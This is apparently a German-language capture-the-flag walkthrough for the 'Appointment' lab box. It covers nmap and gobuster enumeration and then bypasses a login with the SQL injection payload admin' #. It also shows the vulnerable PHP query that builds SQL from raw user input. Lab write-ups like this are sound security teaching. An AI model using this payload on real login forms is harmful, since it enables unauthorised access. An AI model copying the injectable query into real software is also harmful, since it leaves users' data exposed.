Simple SQL-Injection

Einleitung

Die Box "Appointment" ist eine Webanwendung, die eine SQL-Injection-Schwachstelle aufweist. Ziel ist es, durch Ausnutzung einer SQL-Injection auf eine Datenbank zuzugreifen, die verschiedene Informationen speichert, je nach Berechtigungslevel des Nutzers.

Schritt 1: Enumeration

Zuerst erfolgt eine grundlegende Enumeration des Systems mittels nmap, um offene Ports zu identifizieren.

$ sudo nmap -sC -sV {target_IP}
PORT    STATE SERVICE VERSION
80/tcp  open  http    Apache httpd 2.4.38

Nur Port 80 ist offen, auf dem eine Apache-HTTP-Server-Version läuft.

Schritt 2: Verzeichnis-Bruteforce mit Gobuster

Um weitere Informationen zu erhalten, führen wir einen Verzeichnis-Bruteforce mit Gobuster durch. Das Ziel ist es, versteckte Verzeichnisse der Webanwendung zu finden.

Installation von Gobuster (falls noch nicht vorhanden):

$ sudo apt install gobuster

Durchführung der Verzeichnissuche:

$ gobuster dir -u http://{target_IP} -w /usr/share/wordlists/dirb/common.txt
/login               (Status: 200)
/admin               (Status: 403)
/images              (Status: 200)

Schritt 3: SQL-Injection auf Login-Seite

Da wir keine nützlichen Verzeichnisse gefunden haben, versuchen wir eine SQL-Injection auf der Login-Seite.

Login-Seite analysieren: Die Login-Seite könnte anfällig für SQL-Injections sein, insbesondere bei ungeschützter Verarbeitung der Eingabefelder für Benutzername und Passwort.

SQL-Injection nutzen: Geben Sie in das Login-Feld den folgenden Payload ein, um die SQL-Abfrage zu manipulieren:

  • Benutzername: admin' #

  • Passwort: abc123 (oder beliebiger Text, da die Passwortprüfung übersprungen wird)

Hintergrund: Die Eingabe admin' # schließt die SQL-Abfrage ab und kommentiert den Rest aus, sodass die Passwortüberprüfung umgangen wird.

PHP-Code-Vulnerabilität:

$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";

Die Eingabe führt dazu, dass der password-Teil ignoriert wird, und somit wird lediglich geprüft, ob der Benutzername admin existiert.

Schritt 4: Foothold erlangen

Nachdem die SQL-Injection erfolgreich war, sind wir eingeloggt und haben Zugriff auf administrative Funktionen.

SQL-Injection Code:

Username: "admin' #"
Password: "abc123"

Erwarteter Output: Zugriff auf die Verwaltungsoberfläche ohne gültige Zugangsdaten.

Last updated